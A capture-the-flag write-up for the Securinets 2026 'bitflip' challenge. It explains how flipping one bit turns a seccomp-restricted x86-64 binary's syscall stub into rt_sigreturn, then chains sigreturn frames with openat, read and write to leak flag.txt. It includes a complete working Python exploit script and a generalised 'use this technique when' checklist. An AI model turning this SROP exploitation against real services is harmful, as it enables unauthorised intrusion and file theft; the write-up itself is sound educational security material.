$ cat writeup.md…
$ cat writeup.md…
securinets2026
Task: a PIE binary lets you flip one chosen bit inside its own code, then installs a seccomp filter that whitelists rt_sigreturn only from one syscall site. Solution: flip bit 0 of checkpoint+1 (0x0e->0x0f, mov eax,0xe becomes rt_sigreturn) to turn the rsp==arena stub into SROP and chain openat/read/write frames.
Provided files: main (PIE ELF x86-64, x86-64, not stripped, interpreter ./ld-linux-x86-64.so.2), libc.so.6 (Ubuntu GLIBC 2.39-0ubuntu8.9), ld-linux-x86-64.so.2, Dockerfile and docker-compose.yml.
The Docker image is ubuntu:24.04, USER ctf, runs socat TCP-LISTEN:10001,fork EXEC:"timeout 15 ./main", and a flag.txt is placed next to main in /app.
English summary: the binary prints the PIE address of its own code symbol checkpoint, lets the player XOR one chosen bit inside the 36-byte checkpoint routine through /proc/self/mem, reads 640 controlled bytes into a BSS buffer, installs a seccomp filter, and finally jumps into a tiny stub whose rsp points at that controlled buffer. The goal is to leak the flag.
main flowprintf("bitflip / checkpoint %p\n", checkpoint) — leaks the PIE address of the symbol checkpoint (file offset 0x1509), which gives the base of the PIE mapping.sscanf("%u %u %c", &offset, &bit, &c); requires 2 fields, bit <= 7 (so 0..7) and offset < (checkpoint_end - checkpoint) = 0x24 (36 bytes).record (640 bytes): and reads exactly 640 bytes into the BSS symbol arena (0x6000, page 0x6000..0x7000).open("/proc/self/mem", O_RDWR|O_CLOEXEC), pread(1 byte @ checkpoint+offset), XOR it with (1 << bit), pwrite it back. This is a single-bit self-modifying-code write constrained to the checkpoint routine.prctl(PR_SET_NO_NEW_PRIVS, 1) then prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) with an 18-instruction BPF program.call enter.enter / checkpoint (0x1500 .. 0x152c)enter: lea rsp, [rip+0x4af9] ; rsp = arena (0x6000) = our 640 controlled bytes
xor ebp, ebp
checkpoint: (0x1509, 36 bytes total)
1509: mov eax, 0xe ; rt_sigprocmask
150e: mov edi, 2
1513: xor esi, esi
1515: xor edx, edx
1517: mov r10d, 8
151d: syscall ; <-- syscall_site
151f: test rax, rax ; <-- syscall_return (IP recorded by seccomp)
1522: jne 0x1509
1524: mov eax, 60 ; xor edi, edi ; jmp 0x151d ; exit(0)
Normal behaviour: rt_sigprocmask (effectively a no-op) then exit(0). Crucially rsp has been pivoted into the fully controlled arena, and 0x151d is the only syscall instruction in the program.
sock_filter entries)if arch != AUDIT_ARCH_X86_64 (0xc000003e) -> SECCOMP_RET_KILL_PROCESS
if (instruction_pointer >> 32) != 0 -> KILL
if (instruction_pointer & 0xffffffff) != 0x151f -> KILL
nr = syscall number
if nr in {0 read, 1 write, 0x101 openat,
15 rt_sigreturn, 14 rt_sigprocmask, 60 exit} -> ALLOW
else -> KILL
Notes: SECCOMP_RET_KILL_PROCESS = 0x80000000, SECCOMP_RET_ALLOW = 0x7fff0000. The filter keys on the instruction pointer: a syscall is only allowed when it is issued from 0x151d (the recorded return IP is 0x151f). Everything must therefore be executed by reusing that single syscall instruction. rt_sigreturn is whitelisted — that is the whole point.
The first instruction of checkpoint is mov eax, 0xe. Flipping bit 0 of byte checkpoint+1 (0x150a) changes 0x0e into 0x0f:
1509: mov eax, 0xe (rt_sigprocmask) -> mov eax, 0xf (rt_sigreturn)
Input line: 1 0 (offset 1, bit 0).
Because rsp == arena (our 640 controlled bytes) and rt_sigreturn is on the whitelist, the very first syscall at 0x151d is now an rt_sigreturn that the kernel satisfies by reading a ucontext straight from rsp. That is an instant SROP — no stack leak, no ROP gadget, no libc needed.
Kernel x86_64 layout, with the ucontext placed at rsp:
| offset | field |
|---|---|
| 0 | uc_flags |
| 8 | &uc |
| 16 | uc_stack.ss_sp |
| 24 | uc_stack.ss_flags (u32) |
| 32 | uc_stack.ss_size |
| 40 | uc_mcontext = struct sigcontext: r8@0, r9@8, r10@16, r11@24, r12@32, r13@40, r14@48, r15@56, rdi@64, rsi@72, rbp@80, rbx@88, rdx@96, rax@104, rcx@112, rsp@120, rip@128, eflags@136, cs@144(u16), gs@146, fs@148, ss@150, err@152, trapno@160, oldmask@168, cr2@176, fpstate@184 |
| 296 | uc_sigmask (128 bytes) |
Required values: cs = 0x33, ss = 0x2b, eflags = 0x202, fpstate = NULL, uc_flags / uc_stack = 0.
Each frame sets rip = 0x151d (the only syscall, so the IP check passes) and rsp = next frame. A successful syscall returns non-zero, so 0x151f: test rax,rax ; jne 0x1509 loops back into rt_sigreturn, which consumes the next frame. Three frames are enough:
arena+0x000 : openat(AT_FDCWD, "flag.txt", 0, 0) → fd 3 ; rsp = arena+0x0C0arena+0x0C0 : read(3, BUF, 0x100) ; rsp = arena+0x180arena+0x180 : write(1, BUF, 0x100)"flag.txt\0" sits at arena+0x270; the read buffer BUF is arena+0x300 (fresh, zeroed BSS). The 640-byte record is read before the SROP executes, so the whole exploit is delivered in one shot — no second round trip, which also makes it robust against TCP segmentation.
The frames are spaced 0x100 / 0xC0 bytes apart while each frame is ~304 bytes, so they overlap. This is safe and keeps everything inside 640 bytes: the only bytes that differ between adjacent frames are the sigcontext registers, and the overlapping "must be zero" fields (uc_flags/uc_stack, err/trapno/oldmask/cr2/fpstate) all coincide with zeros in the full frame. A frame's own trailing uc_sigmask may land inside the next frame's registers, which is harmless — the kernel only uses it as the restored signal mask.
#!/usr/bin/env python3 # Securinets 2026 quals - "bitflip" (pwn, x86_64, Ubuntu 24.04 / glibc 2.39) # # enter: lea rsp, arena(0x6000) ; falls through into `checkpoint` (0x1509): # 1509: mov eax, 0xe ; rt_sigprocmask # 151d: syscall <-- syscall_site (only syscall in the program) # 151f: test rax, rax <-- syscall_return (IP recorded by seccomp) # 1522: jne 0x1509 # 1524: mov eax,60; xor edi,edi; jmp 151d ; exit(0) # # Exploit: flip bit 0 of checkpoint+1 (0x150a): 0x0e -> 0x0f, i.e. # `mov eax,0xe` becomes `mov eax,0xf` = rt_sigreturn. rsp == arena (controlled), # rt_sigreturn is whitelisted => instant SROP. Three overlapping rt_sigreturn # frames each set rip = 0x151d (so the seccomp IP check passes) and chain # openat("flag.txt") -> read(fd) -> write(1, buf). import os import socket import struct import sys SYS_READ, SYS_WRITE, SYS_OPENAT = 0, 1, 0x101 AT_FDCWD = -100 CS, SS, EFLAGS = 0x33, 0x2B, 0x202 CHECKPOINT_OFF = 0x1509 # symbol `checkpoint` ARENA_OFF = 0x6000 # symbol `arena` SYSCALL_OFF = 0x151D # `syscall` FRAME_OFF = ARENA_OFF - CHECKPOINT_OFF # arena - checkpoint = 0x4af7 def _frame(rax=0, rdi=0, rsi=0, rdx=0, r10=0, rsp=0, rip=0): """x86_64 rt_sigreturn frame bytes (kernel struct offsets; uc at offset 0).""" f = bytearray(304) def p(off, val, size=8): f[off:off + size] = struct.pack({8: '<Q', 4: '<I', 2: '<H'}[size], val & ((1 << (size * 8)) - 1)) p(0, 0) # uc_flags p(8, 0) # &uc p(16, 0); p(24, 0, 4); p(32, 0) # uc_stack b = 40 # struct sigcontext (uc_mcontext) p(b + 0, 0) # r8 p(b + 8, 0) # r9 p(b + 16, r10) p(b + 24, 0) # r11 p(b + 32, 0); p(b + 40, 0); p(b + 48, 0); p(b + 56, 0) # r12-r15 p(b + 64, rdi) p(b + 72, rsi) p(b + 80, 0) # rbp p(b + 88, 0) # rbx p(b + 96, rdx) p(b + 104, rax) p(b + 112, 0) # rcx p(b + 120, rsp) p(b + 128, rip) p(b + 136, EFLAGS) p(b + 144, CS, 2); p(b + 146, 0, 2); p(b + 148, 0, 2); p(b + 150, SS, 2) p(b + 152, 0) # err p(b + 160, 0) # trapno p(b + 168, 0) # oldmask p(b + 176, 0) # cr2 p(b + 184, 0) # fpstate = NULL return bytes(f) def payload(checkpoint): """Return the 640-byte `record` buffer (3 overlapping SROP frames).""" arena = checkpoint + FRAME_OFF SYS = checkpoint - CHECKPOINT_OFF + SYSCALL_OFF A = lambda o: arena + o F2, F3 = 0x0C0, 0x180 # frame2/frame3 offsets inside arena STR = A(0x270) # "flag.txt" BUF = A(0x300) # read buffer (fresh BSS, zeros) f1 = _frame(rax=SYS_OPENAT, rdi=AT_FDCWD, rsi=STR, rdx=0, r10=0, rsp=A(F2), rip=SYS) # openat -> fd 3 f2 = _frame(rax=SYS_READ, rdi=3, rsi=BUF, rdx=0x100, rsp=A(F3), rip=SYS) # read(3, BUF, 0x100) f3 = _frame(rax=SYS_WRITE, rdi=1, rsi=BUF, rdx=0x100, rsp=A(0x280), rip=SYS) # write(1, BUF, 0x100) buf = bytearray(0x280) buf[0x000:0x000 + len(f1)] = f1 buf[F2:F2 + len(f2)] = f2 buf[F3:F3 + len(f3)] = f3 buf[0x270:0x279] = b'flag.txt\x00' return bytes(buf), arena def run(send, recv, log=lambda *a: None): line = b'' while not line.endswith(b'\n'): c = recv(1) if not c: raise EOFError('closed while reading banner') line += c log('banner:', line) checkpoint = int(line.split(b'0x')[1].strip(), 16) record, arena = payload(checkpoint) log('checkpoint=%#x arena=%#x' % (checkpoint, arena)) off = os.environ.get('BF_OFFSET', '1') bit = os.environ.get('BF_BIT', '0') send(('%s %s\n' % (off, bit)).encode()) # flip 0x150a bit0: 0x0e -> 0x0f send(record) out = b'' try: while True: d = recv(4096) if not d: break out += d except Exception: pass return out def remote(host, port): s = socket.create_connection((host, port), timeout=20) try: out = run(s.sendall, s.recv, log=lambda *a: print('[.]', *a, file=sys.stderr)) sys.stdout.buffer.write(out) sys.stdout.buffer.flush() finally: s.close() if __name__ == '__main__': remote(sys.argv[1], int(sys.argv[2]))
Run against the Docker service with python3 exploit.py <host> 10001; the flag arrives on stdout, printed by frame3's write.
Docker Desktop / Rosetta on Apple Silicon cannot emulate a guest rt_sigreturn (it dies at a fixed bogus address), so gdb and strace there are useless for SROP. qemu-user (qemu-x86_64 inside an arm64 container) emulates rt_sigreturn correctly: running the real binary with only the seccomp prctl NOPed — keeping the genuine bitflip 1 0 line — prints flag.txt, and end-to-end over socat through exploit.py prints the flag. qemu-user does not implement PR_SET_SECCOMP for guests, so the seccomp filter itself was validated by static BPF decoding of the 18 sock_filter entries rather than dynamically.
Use this technique when:
%p for a code symbol and is PIE with ld-linux-x86-64.so.2 shipped alongside (known offsets, controllable base arithmetic);/proc/self/mem — one bit is enough to turn mov eax, imm8 from a harmless syscall into rt_sigreturn (0x0e → 0x0f);lea rsp, <BSS buffer> pivots the stack to fully attacker-controlled memory just before a syscall;instruction_pointer, and rt_sigreturn is on the whitelist — reuse that single syscall instruction as the trampoline for every chained call;$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar